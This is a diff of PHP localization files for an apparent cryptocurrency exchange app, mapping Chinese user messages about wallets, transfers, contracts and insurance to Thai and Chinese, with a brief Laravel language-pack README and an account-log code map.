'该订单还未付款或已经操作过' => 'คำสั่งซื้อยังไม่ได้รับการชำระเงินหรือได้รับการประมวลผลแล้ว',
|
||||
'订单异常' => 'ข้อยกเว้นคำสั่งซื้อ',
|
||||
'您不能确认该订单' => 'คุณไม่สามารถยืนยันคำสั่งซื้อได้',
|
||||
'该用户没有此币种钱包' => 'ผู้ใช้ไม่มีกระเป๋าเงินสกุลเงินนี้',
|
||||
'确认成功' => 'ยืนยันความสำเร็จ',
|
||||
'商家不存在' => 'ไม่มีร้านนะคะ',
|
||||
'已撤回发布' => 'ถอนออกแล้ว',
|
||||
'该发布信息下有交易产生无法删除' => 'มีรายการที่สร้างขึ้นภายใต้ข้อมูลที่โพสต์และไม่สามารถลบได้',
|
||||
'撤回成功' => 'ถอนเรียบร้อย',
|
||||
'该发布信息下有交易未完成,不能标记为异常' => 'มีการทำธุรกรรมที่ยังไม่เสร็จสมบูรณ์ภายใต้ข้อมูลที่โพสต์และไม่สามารถทำเครื่องหมายว่าผิดปกติได้',
|
||||
'该发布信息无异常' => 'ข้อมูลที่ตีพิมพ์เป็นเรื่องปกติ',
|
||||
'对不起,您的商家账户冻结资金不足' => 'ขออภัย บัญชีผู้ค้าของคุณมีเงินไม่เพียงพอที่ระงับ',
|
||||
'处理成功' => 'ประมวลผลสำเร็จ',
|
||||
'该币种不支持购买保险' => 'สกุลเงินนี้ไม่รองรับการซื้อประกัน',
|
||||
'错误的金额!' => 'จำนวนเงินผิด!',
|
||||
'不存在的险种!' => 'แบบประกันที่ไม่มีอยู่จริง!',
|
||||
'不存在的币种!' => 'สกุลเงินที่ไม่มีอยู่จริง!',
|
||||
'已经购买了该币种的险种!' => 'ซื้อประกันสำหรับสกุลเงินนี้แล้ว!',
|
||||
'可用余额不足,无法购买!' => 'ยอดเงินคงเหลือไม่เพียงพอที่จะซื้อ!',
|
||||
'购买成功!' => 'การซื้อสำเร็จ!',
|
||||
'未找到该保险' => 'ไม่พบประกัน',
|
||||
'该保险正在处理中' => 'ประกันอยู่ระหว่างดำเนินการ',
|
||||
'申请索赔成功!' => 'การสมัครเคลมสำเร็จ!',
|
||||
'超出今日索赔次数!' => 'เกินจำนวนการเรียกร้องในวันนี้!',
|
||||
'存在未平仓订单' => 'มีคำสั่งที่ไม่ปิด',
|
||||
'受保资产不符合可申请索赔条件1' => 'ทรัพย์สินที่เอาประกันภัยไม่เป็นไปตามเงื่อนไขที่เรียกร้องได้1',
|
||||
'受保资产不符合可申请索赔条件2' => 'ทรัพย์สินที่เอาประกันภัยไม่เป็นไปตามเงื่อนไขที่เรียกร้องได้ 2',
|
||||
'未知受保金额去向状态' => 'ไม่ทราบสถานะจำนวนเงินเอาประกันภัย',
|
||||
'处理成功!' => 'ประมวลผลสำเร็จ!',
|
||||
'该保险已失效' => 'ประกันหมดเเล้ว',
|
||||
'该保险正在索赔处理中' => 'ประกันอยู่ระหว่างดำเนินการเคลม',
|
||||
'解约失败,存在未平仓订单' => 'การยกเลิกล้มเหลว มีคำสั่งที่ยังไม่ได้ปิด',
|
||||
'保险解约,赔付金额' => 'การยกเลิกประกันภัย จำนวนเงินชดเชย',
|
||||
'解约成功!' => 'ยุติสำเร็จ!',
|
||||
'内容不能为空' => 'เนื้อหาไม่สามารถเว้นว่างได้',
|
||||
'暂无数据' => 'ไม่มีข้อมูล',
|
||||
'文件大小超出' => 'เกินขนาดไฟล์',
|
||||
'文件类型非法' => 'ประเภทไฟล์ไม่ถูกต้อง',
|
||||
'文件类型不对' => 'ประเภทไฟล์ไม่ถูกต้อง',
|
||||
'该文件已存在' => 'ไฟล์นี้มีอยู่แล้ว',
|
||||
'币未找到' => 'ไม่พบเหรียญ',
|
||||
'转账账户不存在!' => 'ไม่มีบัญชีโอน!',
|
||||
'不能给自己转账!' => 'ไม่สามารถโอนเงินให้ตัวเองได้!',
|
||||
'转账数量大于剩余数量!' => 'จำนวนเงินโอนมากกว่าจำนวนเงินที่เหลือ!',
|
||||
'余额不足!' => 'ยอดไม่เพียงพอ!',
|
||||
'通证转账成功!' => 'การโอนโทเค็นสำเร็จ!',
|
||||
'请输入支付密码' => 'กรุณากรอกรหัสผ่านการชำระเงิน',
|
||||
'无需升级' => 'ไม่ต้องอัพเกรด',
|
||||
'暂无钱包' => 'ไม่มีกระเป๋าสตางค์',
|
||||
'升级成功' => 'อัพเดทสำเร็จ',
|
||||
'该地址别人已经绑定过了' => 'ที่อยู่นี้ถูกผูกมัดโดยผู้อื่นแล้ว',
|
||||
'请把参数填写完整' => 'กรุณากรอกข้อมูลให้ครบถ้วน',
|
||||
'用户已存在' => 'มีผู้ใช้นี้อยู่แล้ว',
|
||||
'推荐用户不存在' => 'ผู้ใช้ที่แนะนำไม่มีอยู่จริง',
|
||||
'转入账户不能为空' => 'บัญชีโอนไม่สามารถเว้นว่างได้',
|
||||
'密码不能为空' => 'รหัสผ่านไม่สามารถเว้นว่างได้',
|
||||
'转入数量不能为空' => 'ปริมาณโอนต้องไม่ว่างเปล่า',
|
||||
'用户密码错误' => 'รหัสผ่านผู้ใช้ไม่ถูกต้อง',
|
||||
'转入成功' => 'โอนเรียบร้อยแล้ว',
|
||||
'密码修改成功' => 'รีเซ็ตรหัสผ่านเสร็จสมบูรณ์',
|
||||
'请输入正确的交易数量或价格' => 'โปรดป้อนปริมาณหรือราคาในการทำธุรกรรมที่ถูกต้อง',
|
||||
'用户钱包不存在' => 'กระเป๋าเงินผู้ใช้ไม่มีอยู่',
|
||||
'用户不存在' => 'ผู้ใช้ไม่มีอยู่',
|
||||
'未找到该发布用户' => 'ไม่พบผู้ใช้ที่โพสต์',
|
||||
'检测有未完成交易,请完成后再来!' => 'ตรวจสอบธุรกรรมที่ยังไม่เสร็จ โปรดกลับมาหลังจากเสร็จสิ้น!',
|
||||
'您的余额不足' => 'ยอดเงินของคุณไม่เพียงพอ',
|
||||
'用户信息不正确' => 'ข้อมูลผู้ใช้ไม่ถูกต้อง',
|
||||
'对不起,这不是您的发布信息' => 'ขออภัย นี่ไม่ใช่โพสต์ของคุณ',
|
||||
'对不起,您无权撤销此记录' => 'ขออภัย คุณไม่มีสิทธิ์เพิกถอนบันทึกนี้',
|
||||
'对不起,您的账户冻结资金不足' => 'ขออภัย บัญชีของคุณมีเงินไม่พอถูกระงับ',
|
||||
'取消次数已超出' => 'เกินจำนวนการยกเลิก',
|
||||
'次,明天再发布' => 'ปริมาณ. ปล่อยพรุ่งนี้',
|
||||
',错误位于第' => ',ข้อผิดพลาดอยู่ใน',
|
||||
'行' => 'แถว',
|
||||
'您今天的取消次数已超出' => 'จำนวนการยกเลิกของคุณในวันนี้เกินแล้ว',
|
||||
'次' => 'ปริมาณ',
|
||||
'在 ' => 'มีอยู่ ',
|
||||
'购买法币成功,增加法币余额' => 'ซื้อสกุลเงินตามกฎหมายสำเร็จ เพิ่มยอดดุลของสกุลเงินตามกฎหมาย',
|
||||
'转账数量不能小于' => 'จำนวนเงินโอนต้องไม่น้อยกว่า',
|
||||
'转账数量不能大于' => 'จำนวนเงินโอนไม่เกิน',
|
||||
'解约失败:' => 'การยกเลิกล้มเหลว:',
|
||||
'操作成功,请联系商家确认订单' => 'การดำเนินการเสร็จเรียบร้อยแล้ว โปรดติดต่อร้านค้าเพื่อยืนยันการสั่งซื้อ',
|
||||
'您还没有通过实名认证' => 'คุณยังไม่ได้ผ่านการพิสูจน์ตัวตนด้วยชื่อจริง',
|
||||
'您还没有设置收款信息' => 'คุณยังไม่ได้ตั้งค่าข้อมูลการชำระเงิน',
|
||||
'撤单失败:' => 'การยกเลิกล้มเหลว:',
|
||||
'扣除保证金失败:' => 'ล้มเหลวในการหักมาร์จิ้น:',
|
||||
'扣除手续费失败:' => 'ไม่สามารถหักค่าดำเนินการได้:',
|
||||
'手数不能低于' => 'จำนวนมือต้องไม่น้อยกว่า',
|
||||
'手数不能高于' => 'จำนวนมือต้องไม่เกิน',
|
||||
'余额不足,不能小于' => 'ยอดเงินไม่เพียงพอ ไม่น้อยกว่า',
|
||||
'(手续费:' => '(ค่าธรรมเนียมการจัดการ:',
|
||||
'此法币' => 'สกุลเงิน fiat นี้',
|
||||
'商家名称已存在' => ',ชื่อธุรกิจมีอยู่แล้ว',
|
||||
'请实名认证'=>'โปรดยืนยันชื่อจริง',
|
||||
'项目不存在' => 'ไม่มีรายการ',
|
||||
'最少存入数量为:' => 'จำนวนเงินฝากขั้นต่ำคือ:',
|
||||
'当前等级禁止购买30S产品,请联系客服升级' => 'ระดับปัจจุบันห้ามไม่ให้ซื้อผลิตภัณฑ์ 30S โปรดติดต่อฝ่ายบริการลูกค้าเพื่ออัปเกรด',
|
||||
'请登录' => 'กรุณาเข้าสู่ระบบ',
|
||||
'毁约成功' => 'ผิดสัญญาสำเร็จ',
|
||||
'旧密码错误' => 'รหัสผ่านเก่าผิดพลาด',
|
||||
'您的实名认证未通过' => 'การตรวจสอบชื่อจริงของคุณล้มเหลว',
|
||||
'下单数量必须是整数' => 'ปริมาณการสั่งซื้อต้องเป็นจำนวนเต็ม',
|
||||
'下单数量必须是' => 'ปริมาณการสั่งซื้อจะต้อง:micro_min ตัวคูณจำนวนเต็มของ',
|
||||
'最大下单数量不能超过' => 'จำนวนคำสั่งซื้อสูงสุดต้องไม่เกิน: :micro_max',
|
||||
'最小下单数量不能小于' => 'ปริมาณการสั่งซื้อขั้นต่ำต้อ :micro_minงไม่ต่ำกว่า',
|
||||
'申请成功' => 'สมัครสำเร็จ',
|
||||
'认证成功,请等待审核' => 'ส่งเรียบร้อยแล้ว กรุณารอการตรวจสอบ',
|
||||
'操作失败:您的信用分不足' => 'การดำเนินการล้มเหลว: คะแนนเครดิตของคุณไม่เพียงพอ',
|
||||
'操作失败:您有未平仓的交易,操作禁止' => 'การดำเนินการล้มเหลว: คุณมีธุรกรรมที่เปิดอยู่ การดำเนินการนั้นเป็นสิ่งต้องห้าม',
|
||||
'支付通道维护,请更换支付方式' => 'การบำรุงรักษาช่องทางการชำระเงิน กรุณาเปลี่ยนวิธีการชำระเงิน',
|
||||
'您好,您的账户已被锁定,详情请咨询客服。' => "สวัสดี บัญชีของคุณถูกล็อก โปรดติดต่อฝ่ายบริการลูกค้าเพื่อขอรายละเอียด",
|
||||
'您好,您的资金已被锁定,详情请咨询客服。' => "สวัสดี เงินของคุณถูกล็อค โปรดติดต่อฝ่ายบริการลูกค้าเพื่อขอรายละเอียด",
|
||||
);
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"最小下单数量不能小于": "最小下单数量不能小于 :micro_min"
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
# laravel-lang-zh_cn
|
||||
laravel 中文包
|
||||
|
||||
修改文件 config/app.php
|
||||
'locale' => 'zh_cn'
|
||||
|
||||
把当前的文件 下载到
|
||||
resources/lang/zh_cn/
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
return [
|
||||
'is_lock' => '锁定账户',
|
||||
'unknown' => '未知类型',
|
||||
'1' => '法币账户',
|
||||
'2' => '资金账户锁定余额',
|
||||
'3' => '币币账户余额',
|
||||
'4' => '币币账户',
|
||||
'5' => '合约账户余额',
|
||||
'6' => '合约账户',
|
||||
'7' => '期权账户余额',
|
||||
'8' => '期权账户',
|
||||
'9' => '资金账户转出交易账户',
|
||||
'10' => '交易账户转资本账户',
|
||||
'11' => '资金转入',
|
||||
'12' => '资金转出',
|
||||
'13' => '从合约账户转账到交易账户',
|
||||
'14' => '从合约账户转账到交易账户',
|
||||
'15' => '交易账户转合约账户',
|
||||
'16' => '合约账户转出交易账户',
|
||||
'33' => '邀请返还佣金',
|
||||
'99' => '用户提现',
|
||||
'102' => '取消购买交易',
|
||||
'103' => '取消卖出交易',
|
||||
'65' => '转入资金交易余额',
|
||||
'66' => '货币交易余额转入',
|
||||
'67' => '合约交易余额转入',
|
||||
'206' => '转入合同和减少资金',
|
||||
'207' => '资金转入合同,合同增加',
|
||||
'208' => '合同资金划转获批,合同减少',
|
||||
'209' => '合同资金划转获批,资金增加',
|
||||
'210' => '合约转资金,冻结合约转化值',
|
||||
'211' => '合约转资金,审核不通过解冻',
|
||||
'107' => '通证兑换USDT',
|
||||
'37' => '通证兑换,合约币增加',
|
||||
'212' => '历史盈亏释放,增加合约币',
|
||||
'105' => '奖励通证',
|
||||
'106' => '奖励数字货币',
|
||||
'108' => '调节通证',
|
||||
'38' => '申请成为商家扣除USDT',
|
||||
'39' => '资产兑换,减少持有币资金',
|
||||
'40' => '资产兑换,增加USDT资金',
|
||||
'41' => '激活BOSS',
|
||||
'42' => '锁仓挖矿',
|
||||
'43' => '从BOSS账户中转出余额',
|
||||
'44' => '锁仓返还',
|
||||
'45' => 'DeFi资金记录',
|
||||
'51' => '币币交易',
|
||||
'50' => '币币交易冻结',
|
||||
'100' => '提币成功',
|
||||
'101' => '提币失败',
|
||||
'700' => 'IEO订单',
|
||||
'701' => '币币划转增加',
|
||||
'702' => '币币划转减少',
|
||||
'703' => '币币划转手续费',
|
||||
'704' => '锁仓挖矿',
|
||||
'705' => '挖矿收益',
|
||||
'706' => '下单数不能低于',
|
||||
'1000' => '购买双币理财',
|
||||
'1001' => '双币理财结算',
|
||||
'707' => '跟随购买 - 扣除保证金',
|
||||
'708' => '跟随购买 - 扣除手续费',
|
||||
'1002' => '购买NFT',
|
||||
'1003' => '竞拍扣除保证金',
|
||||
'1005' => 'NFT拍卖订单支付',
|
||||
'1004' => '竞拍退还保证金',
|
||||
'32' => '爆仓冻结',
|
||||
'35' => '交易手续费',
|
||||
'30' => '合约交易扣除保证金',
|
||||
];
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Authentication Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used during authentication for various
|
||||
| messages that we need to display to the user. You are free to modify
|
||||
| these language lines according to your application's requirements.
|
||||
|
|
||||
*/
|
||||
|
||||
'failed' => '这些凭证不符合我们的要求。',
|
||||
'throttle' => '频繁的登录! 请在 :seconds 秒后在试。',
|
||||
|
||||
];
|
||||
@@ -0,0 +1,320 @@
|
||||
<?php
|
||||
|
||||
return array(
|
||||
'请登录' => '请登录',
|
||||
'退出登录成功' => '退出登录成功',
|
||||
'电话不能为空' => '电话不能为空',
|
||||
'账号已存在' => '账号已存在',
|
||||
'两次密码不一致' => '两次密码不一致',
|
||||
'用户未找到' => '用户未找到',
|
||||
'钱包已添加,请勿重复添加' => '钱包已添加,请勿重复添加',
|
||||
'添加成功' => '添加成功',
|
||||
'参数错误' => '参数错误',
|
||||
'支付密码错误' => '支付密码错误',
|
||||
'余额不足' => '余额不足',
|
||||
'转账至交易所钱包' => '转账至交易所钱包',
|
||||
'转账成功' => '转账成功',
|
||||
'找不到用户' => '找不到用户',
|
||||
'用户钱包未找到' => '用户钱包未找到',
|
||||
'接收来自交易所的转账' => '接收来自交易所的转账',
|
||||
'您还没有钱包' => '您还没有钱包',
|
||||
'请输入正确的值' => '请输入正确的值',
|
||||
'地址输入有误' => '地址输入有误',
|
||||
'地址输入有误1' => '地址输入有误1',
|
||||
'不能转账给自己' => '不能转账给自己',
|
||||
'暂时还没有添加币种' => '暂时还没有添加币种',
|
||||
'此币种不存在' => '此币种不存在',
|
||||
'已经有此提币地址' => '已经有此提币地址',
|
||||
'添加提币地址成功' => '添加提币地址成功',
|
||||
'此提币地址不存在' => '此提币地址不存在',
|
||||
'您没有权限删除此地址' => '您没有权限删除此地址',
|
||||
'删除提币地址成功' => '删除提币地址成功',
|
||||
'输入的金额不能为负数' => '输入的金额不能为负数',
|
||||
'您有正在进行中的杆杠交易,不能进行此操作' => '您有正在进行中的杆杠交易,不能进行此操作',
|
||||
'钱包不存在' => '钱包不存在',
|
||||
'划转成功' => '划转成功',
|
||||
'币种不存在' => '币种不存在',
|
||||
'您还没有添加提币地址' => '您还没有添加提币地址',
|
||||
'数量不能少于最小值' => '数量不能少于最小值',
|
||||
'提币申请已成功,等待审核' => '提币申请已成功,等待审核',
|
||||
'类型错误' => '类型错误',
|
||||
'钱包未找到' => '钱包未找到',
|
||||
'数量不能小于等于0' => '数量不能小于等于0',
|
||||
'价格不能小于等于0' => '价格不能小于等于0',
|
||||
'参数错误哦' => '参数错误哦',
|
||||
'数量不足' => '数量不足',
|
||||
'操作成功' => '操作成功',
|
||||
'真实姓名必须填写' => '真实姓名必须填写',
|
||||
'收款信息至少选填一项' => '收款信息至少选填一项',
|
||||
'保存成功' => '保存成功',
|
||||
'密码错误' => '密码错误',
|
||||
'当前行情小于等于零!' => '当前行情小于等于零!',
|
||||
'参数错误!' => '参数错误!',
|
||||
'兑换数量大于持有资产!' => '兑换数量大于持有资产!',
|
||||
'资产兑换成功!' => '资产兑换成功!',
|
||||
'兑换数量大于剩余数量!' => '兑换数量大于剩余数量!',
|
||||
'通证兑换成功!' => '通证兑换成功!',
|
||||
'必填项信息不完整' => '必填项信息不完整',
|
||||
'两次输入密码不一致' => '两次输入密码不一致',
|
||||
'此用户不存在' => '此用户不存在',
|
||||
'此交易账号已经设置' => '此交易账号已经设置',
|
||||
'此账号已经存在' => '此账号已经存在',
|
||||
'交易账号设置成功' => '交易账号设置成功',
|
||||
'验证码错误' => '验证码错误',
|
||||
'手机绑定成功' => '手机绑定成功',
|
||||
'邮箱绑定成功' => '邮箱绑定成功',
|
||||
'手势密码至少连接6个点' => '手势密码至少连接6个点',
|
||||
'两次手势密码不相同' => '两次手势密码不相同',
|
||||
'手势密码添加成功' => '手势密码添加成功',
|
||||
'取消手势密码成功' => '取消手势密码成功',
|
||||
'密码只能在6-16位之间' => '密码只能在6-16位之间',
|
||||
'交易密码设置成功' => '交易密码设置成功',
|
||||
'暂时还没有邀请排行榜,快去邀请吧' => '暂时还没有邀请排行榜,快去邀请吧',
|
||||
'会员未找到' => '会员未找到',
|
||||
'你已绑定,不可更改!' => '你已绑定,不可更改!',
|
||||
'该地址已被绑定,请重新输入' => '该地址已被绑定,请重新输入',
|
||||
'绑定成功!' => '绑定成功!',
|
||||
'请提交完整的信息' => '请提交完整的信息',
|
||||
'请输入合法的身份证号码' => '请输入合法的身份证号码',
|
||||
'该身份证号已实名认证过!' => '该身份证号已实名认证过!',
|
||||
'您已经申请过了' => '您已经申请过了',
|
||||
'提交成功,等待审核' => '提交成功,等待审核',
|
||||
'您还没有交易记录' => '您还没有交易记录',
|
||||
'非法操作,不能撤回非自己发布的信息' => '非法操作,不能撤回非自己发布的信息',
|
||||
'非法操作:(' => '非法操作:(',
|
||||
'取销卖出交易失败' => '取销卖出交易失败',
|
||||
'取消成功' => '取消成功',
|
||||
'非法操作' => '非法操作',
|
||||
'数据未找到' => '数据未找到',
|
||||
'请先添加钱包' => '请先添加钱包',
|
||||
'价格和数量必须大于0' => '价格和数量必须大于0',
|
||||
'您的币不足' => '您的币不足',
|
||||
'您的冻结资金异常,禁止挂卖' => '您的冻结资金异常,禁止挂卖',
|
||||
'你今天的交易额度已达到上限!' => '你今天的交易额度已达到上限!',
|
||||
'系统配置错误,请联系系统管理员' => '系统配置错误,请联系系统管理员',
|
||||
'手机号不能为空' => '手机号不能为空',
|
||||
'发送成功' => '发送成功',
|
||||
'账号错误' => '账号错误',
|
||||
'请填写手机号' => '请填写手机号',
|
||||
'参数不全' => '参数不全',
|
||||
'服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!' => '服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!',
|
||||
'帐户已过期' => '帐户已过期',
|
||||
'IP地址限制' => 'IP地址限制',
|
||||
'账号被禁用' => '账号被禁用',
|
||||
'内容含有敏感词' => '内容含有敏感词',
|
||||
'ip参数不正确' => 'ip参数不正确',
|
||||
'邮箱不能为空' => '邮箱不能为空',
|
||||
'操作错误' => '操作错误',
|
||||
'无此币种' => '无此币种',
|
||||
'该币不是法币' => '该币不是法币',
|
||||
'用户名不能为空' => '用户名不能为空',
|
||||
'名称不能为空' => '名称不能为空',
|
||||
'资产不能为空' => '资产不能为空',
|
||||
'找不到此交易账号的用户' => '找不到此交易账号的用户',
|
||||
'此用户还未通过实名认证' => '此用户还未通过实名认证',
|
||||
'此用户已是此法币商家' => '此用户已是此法币商家',
|
||||
'新闻不存在' => '新闻不存在',
|
||||
'下单失败:超过最大持仓笔数限制' => '下单失败:超过最大持仓笔数限制',
|
||||
'当前未获取到行情' => '当前未获取到行情',
|
||||
'尚未申购或理赔保险' => '尚未申购或理赔保险',
|
||||
'申购的保险T+1生效' => '申购的保险T+1生效',
|
||||
'受保资产为零' => '受保资产为零',
|
||||
'受保资产小于等于可下单条件' => '受保资产小于等于可下单条件',
|
||||
'您已超过持仓限制,暂停下单。' => '您已超过持仓限制,暂停下单。',
|
||||
'未知的险种类型' => '未知的险种类型',
|
||||
'超过最大持仓数量限制' => '超过最大持仓数量限制',
|
||||
'交易中的订单大于最大挂单数量' => '交易中的订单大于最大挂单数量',
|
||||
'请输入账号' => '请输入账号',
|
||||
'请输入密码' => '请输入密码',
|
||||
'手势密码错误' => '手势密码错误',
|
||||
'请填写正确的邀请码' => '请填写正确的邀请码',
|
||||
'注册成功' => '注册成功',
|
||||
'请输入密码或确认密码' => '请输入密码或确认密码',
|
||||
'输入两次密码不一致' => '输入两次密码不一致',
|
||||
'账号不存在' => '账号不存在',
|
||||
'验证码不正确' => '验证码不正确',
|
||||
'修改密码成功' => '修改密码成功',
|
||||
'请输入验证码' => '请输入验证码',
|
||||
'验证成功' => '验证成功',
|
||||
'父级不存在' => '父级不存在',
|
||||
'请重试' => '请重试',
|
||||
'参数错误:(' => '参数错误:(',
|
||||
'缺少参数或传值错误' => '缺少参数或传值错误',
|
||||
'指定交易对不存在' => '指定交易对不存在',
|
||||
'您未开通本交易对的交易功能' => '您未开通本交易对的交易功能',
|
||||
'手数必须是大于0的整数' => '手数必须是大于0的整数',
|
||||
'选择倍数不在系统范围' => '选择倍数不在系统范围',
|
||||
'您有正在平仓中的交易,暂不能进行买卖' => '您有正在平仓中的交易,暂不能进行买卖',
|
||||
'交易类型错误' => '交易类型错误',
|
||||
'该功能暂未开放' => '该功能暂未开放',
|
||||
'限价交易价格必须大于0' => '限价交易价格必须大于0',
|
||||
'当前没有获取到行情价格,请稍后重试' => '当前没有获取到行情价格,请稍后重试',
|
||||
'限价交易卖出不能低于当前价' => '限价交易卖出不能低于当前价',
|
||||
'限价交易买入价格不能高于当前价' => '限价交易买入价格不能高于当前价',
|
||||
'钱包未找到,请先添加钱包' => '钱包未找到,请先添加钱包',
|
||||
'提交失败' => '提交失败',
|
||||
'提交成功' => '提交成功',
|
||||
'此功能系统未开放' => '此功能系统未开放',
|
||||
'止盈止损价格不能为0' => '止盈止损价格不能为0',
|
||||
'找不到该笔交易' => '找不到该笔交易',
|
||||
'买入(做多)止盈价不能低于开仓价和当前价' => '买入(做多)止盈价不能低于开仓价和当前价',
|
||||
'买入(做多)止亏价不能高于开仓价和当前价' => '买入(做多)止亏价不能高于开仓价和当前价',
|
||||
'卖出(做空)止盈价不能高于开仓价和当前价' => '卖出(做空)止盈价不能高于开仓价和当前价',
|
||||
'卖出(做空)止亏价不能低于开仓价和当前价' => '卖出(做空)止亏价不能低于开仓价和当前价',
|
||||
'设置成功' => '设置成功',
|
||||
'设置失败' => '设置失败',
|
||||
'无权操作' => '无权操作',
|
||||
'交易状态异常,请勿重复提交' => '交易状态异常,请勿重复提交',
|
||||
'平仓失败,请重试' => '平仓失败,请重试',
|
||||
'买入方向传参错误' => '买入方向传参错误',
|
||||
'提交成功,请等待系统处理' => '提交成功,请等待系统处理',
|
||||
'未找到需要平仓的交易' => '未找到需要平仓的交易',
|
||||
'交易不存在或已撤单,请刷新后重试' => '交易不存在或已撤单,请刷新后重试',
|
||||
'撤单失败:用户钱包不存在' => '撤单失败:用户钱包不存在',
|
||||
'撤单失败:变更状态失败' => '撤单失败:变更状态失败',
|
||||
'撤单成功' => '撤单成功',
|
||||
'订单取消成功' => '订单取消成功',
|
||||
'请选择需求类型' => '请选择需求类型',
|
||||
'请选择交易方式' => '请选择交易方式',
|
||||
'请填写单价' => '请填写单价',
|
||||
'请填写数量' => '请填写数量',
|
||||
'请填写最小交易数量' => '请填写最小交易数量',
|
||||
'请选择币种' => '请选择币种',
|
||||
'最小交易数量不能大于总数量' => '最小交易数量不能大于总数量',
|
||||
'请填写最大交易量' => '请填写最大交易量',
|
||||
'请填写正确的最大交易量' => '请填写正确的最大交易量',
|
||||
'对不起,您不是该法币的商家' => '对不起,您不是该法币的商家',
|
||||
'对不起,您的商家账户不足' => '对不起,您的商家账户不足',
|
||||
'发布成功' => '发布成功',
|
||||
'无此商家' => '无此商家',
|
||||
'参数错误2' => '参数错误2',
|
||||
'无此记录' => '无此记录',
|
||||
'购买参数错误' => '购买参数错误',
|
||||
'请填写购买额' => '请填写购买额',
|
||||
'购买额请填写数字' => '购买额请填写数字',
|
||||
'未完成单子超过3单,请完成后再操作!' => '未完成单子超过3单,请完成后再操作!',
|
||||
'此条交易已完成' => '此条交易已完成',
|
||||
'非法提交,数量必须大于0' => '非法提交,数量必须大于0',
|
||||
'您低于最低限额' => '您低于最低限额',
|
||||
'您高于最高限额' => '您高于最高限额',
|
||||
'您高于最大限制数量' => '您高于最大限制数量',
|
||||
'未找到该商家' => '未找到该商家',
|
||||
'不能操作自己的' => '不能操作自己的',
|
||||
'您无此钱包账号' => '您无此钱包账号',
|
||||
'您的钱包已被锁定,请联系管理员' => '您的钱包已被锁定,请联系管理员',
|
||||
'您的法币余额不足' => '您的法币余额不足',
|
||||
'您的法币冻结资金异常,请查看您是否有正在进行的挂单' => '您的法币冻结资金异常,请查看您是否有正在进行的挂单',
|
||||
'您出售数量大于商家剩余数量!' => '您出售数量大于商家剩余数量!',
|
||||
'您购买数量大于商家剩余数量!' => '您购买数量大于商家剩余数量!',
|
||||
'您不是此币商家' => '您不是此币商家',
|
||||
'该订单已操作过,请勿重复操作' => '该订单已操作过,请勿重复操作',
|
||||
'对不起,您无权操作' => '对不起,您无权操作',
|
||||
'操作成功,请联系卖家确认' => '操作成功,请联系卖家确认',
|
||||
'该订单已操作,请勿取消' => '该订单已操作,请勿取消',
|
||||
'操作成功,订单已取消' => '操作成功,订单已取消',
|
||||
'对不起您不是商家' => '对不起您不是商家',
|
||||
'对不起,您不是该商家' => '对不起,您不是该商家',
|
||||
'该订单还未付款或已经操作过' => '该订单还未付款或已经操作过',
|
||||
'订单异常' => '订单异常',
|
||||
'您不能确认该订单' => '您不能确认该订单',
|
||||
'该用户没有此币种钱包' => '该用户没有此币种钱包',
|
||||
'确认成功' => '确认成功',
|
||||
'商家不存在' => '商家不存在',
|
||||
'已撤回发布' => '已撤回发布',
|
||||
'该发布信息下有交易产生无法删除' => '该发布信息下有交易产生无法删除',
|
||||
'撤回成功' => '撤回成功',
|
||||
'该发布信息下有交易未完成,不能标记为异常' => '该发布信息下有交易未完成,不能标记为异常',
|
||||
'该发布信息无异常' => '该发布信息无异常',
|
||||
'对不起,您的商家账户冻结资金不足' => '对不起,您的商家账户冻结资金不足',
|
||||
'处理成功' => '处理成功',
|
||||
'该币种不支持购买保险' => '该币种不支持购买保险',
|
||||
'错误的金额!' => '错误的金额!',
|
||||
'不存在的险种!' => '不存在的险种!',
|
||||
'不存在的币种!' => '不存在的币种!',
|
||||
'已经购买了该币种的险种!' => '已经购买了该币种的险种!',
|
||||
'可用余额不足,无法购买!' => '可用余额不足,无法购买!',
|
||||
'购买成功!' => '购买成功!',
|
||||
'未找到该保险' => '未找到该保险',
|
||||
'该保险正在处理中' => '该保险正在处理中',
|
||||
'申请索赔成功!' => '申请索赔成功!',
|
||||
'超出今日索赔次数!' => '超出今日索赔次数!',
|
||||
'存在未平仓订单' => '存在未平仓订单',
|
||||
'受保资产不符合可申请索赔条件1' => '受保资产不符合可申请索赔条件1',
|
||||
'受保资产不符合可申请索赔条件2' => '受保资产不符合可申请索赔条件2',
|
||||
'未知受保金额去向状态' => '未知受保金额去向状态',
|
||||
'处理成功!' => '处理成功!',
|
||||
'该保险已失效' => '该保险已失效',
|
||||
'该保险正在索赔处理中' => '该保险正在索赔处理中',
|
||||
'解约失败,存在未平仓订单' => '解约失败,存在未平仓订单',
|
||||
'保险解约,赔付金额' => '保险解约,赔付金额',
|
||||
'解约成功!' => '解约成功!',
|
||||
'内容不能为空' => '内容不能为空',
|
||||
'暂无数据' => '暂无数据',
|
||||
'文件大小超出' => '文件大小超出',
|
||||
'文件类型非法' => '文件类型非法',
|
||||
'文件类型不对' => '文件类型不对',
|
||||
'该文件已存在' => '该文件已存在',
|
||||
'币未找到' => '币未找到',
|
||||
'转账账户不存在!' => '转账账户不存在!',
|
||||
'不能给自己转账!' => '不能给自己转账!',
|
||||
'转账数量大于剩余数量!' => '转账数量大于剩余数量!',
|
||||
'余额不足!' => '余额不足!',
|
||||
'通证转账成功!' => '通证转账成功!',
|
||||
'请输入支付密码' => '请输入支付密码',
|
||||
'无需升级' => '无需升级',
|
||||
'暂无钱包' => '暂无钱包',
|
||||
'升级成功' => '升级成功',
|
||||
'该地址别人已经绑定过了' => '该地址别人已经绑定过了',
|
||||
'请把参数填写完整' => '请把参数填写完整',
|
||||
'用户已存在' => '用户已存在',
|
||||
'推荐用户不存在' => '推荐用户不存在',
|
||||
'转入账户不能为空' => '转入账户不能为空',
|
||||
'密码不能为空' => '密码不能为空',
|
||||
'转入数量不能为空' => '转入数量不能为空',
|
||||
'用户密码错误' => '用户密码错误',
|
||||
'转入成功' => '转入成功',
|
||||
'密码修改成功' => '密码修改成功',
|
||||
